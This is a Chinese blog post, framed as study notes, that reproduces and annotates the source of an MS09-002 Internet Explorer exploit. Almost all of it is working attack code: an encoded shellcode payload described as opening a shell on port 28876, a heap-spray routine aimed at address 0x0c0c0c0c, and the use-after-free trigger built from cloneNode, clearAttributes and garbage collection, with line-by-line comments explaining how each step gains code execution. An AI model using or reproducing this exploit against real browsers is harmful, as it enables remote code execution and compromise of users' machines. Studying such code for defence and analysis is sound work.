MS09-002 exploit 源码分析

攀蟾折桂摄寰宇,摘星揽月御乾坤。踏云踩雾骋宵壤,驱风逐日闯天地。 ------泉哥
  • MS09-002 exploit 源码分析 - [溢出研究]
  • Tag: MS09-002 exploit

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://riusksk.blogbus.com/logs/37734905.html

    刚拿到黑防样刊,先看了上面的一篇关于MS09-002漏洞分析的文章《Thingking in MS09-002》,略有感悟,因此记录一下,就当作学习笔记。
     
    // MS09-002 exploit code:
    1.   <script language= "JavaScript">
    2.  
    3.   // 绑定 win32系统上的 28876/tcp端口,用于反弹连接的shellcode
    4.   // 你可以根据自己的意愿来选择不同功能的shellcode,如果你比较懒的话,可以直接去Metasploit上
    5.   // 拷贝一份shellcode,在我的博客http://riusksk.blogbus.com有链接
    6.   var shellcode=unescape ( "%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb" );
    7.    //下面的代码主要用于实现 heap spray,即用js分配内存,所分配的内存均放入堆中,
    8.   //然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,
    9.   //申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,
    10.   //因此只要让IE执行到0x0C0C0C0C就可以执行shellcode,
    11.    //创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中
    12.   var ret = 0x0c0c0c0c; CollectGarbage (); //将所有申请到的变量所占的空间释放掉
    13.   var heap_chunk_size = 0x40000;     //每块用来填充的堆块大小
    14.   var nopsled_size = heap_chunk_size - (shellcode. length * 2 )
    15.   var nopsled = unescape ( "%u0c0c%u0c0c" );
    16.   while (nopsled. length < nopsled_size )
    17.           nopsled += nopsled; //每一堆块里面除了shellcode就放%u0C0C%u0C0C          
    18.   heap_chunks = new Array (); //创建新数组,申请到的空间也是被分配到堆中
    19.   heap_chunks_num = (ret - heap_chunk_size )/heap_chunk_size; //将被覆盖掉的总内存大小
    20.   for ( var i = 0 ; i < heap_chunks_num ; i++ )
    21.         heap_chunks [i ] = nopsled +shellcode; // 用很多上面的堆块去覆盖掉一大片的内存地址
    22.   var s1=unescape("%u0c0c%u0c0cAAAAAAAAAAAAAAAAAAAAAAAAA");
    23.   var a1 = new Array();
    24.   for(var x=0;x<500;x++)
    25.   a1.push(document.createElement("img")); //循环创建 img元素
    26.   o1=document.createElement("tbody"); //创建tbody元素
    27.   o1.click; //触发click事件
    28.   var o2 = o1.cloneNode(); //复制 o1对象给o2对象,由于我们并没有为click指定处理函数,因此两对象指向同一虚表地址
    29.   o1.clearAttributes(); //清除o1属性
    30.   o1=null; //将o1置null,此时其所占用的内存并不会释放,当下次再次定义变量时,就会覆盖此变量所在的内存,如果不设为null,JS再次定义变量时,就会开辟出一个新的内存空间
    31.   CollectGarbage(); //释放内存空间
    32.   for(var x=0;x<a1.length;x++)
    33.   a1[x].src=s1; //循环为img.src属性赋予一长串值,覆盖的就是原o1的内存空间,当触发click后,就会去寻找s1中的地址,即0x0c0c0c0c,而此时它已经被我们通过heap spray技术覆盖掉了
    34.   o2.click; //由于我们并没有为click指定处理函数,那么o1与o2对象指向的虚表中存在着click虚函数的地址,当两对象接到click事件后,会通过对象中的虚表指针来定位虚表,并在虚表中寻找处理函数。因此只要将虚表中的click函数地址替换为我们的shellcode的地址,即0x0c0c0c0c,就可以实现我们攻击目的了。
    35.   </script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值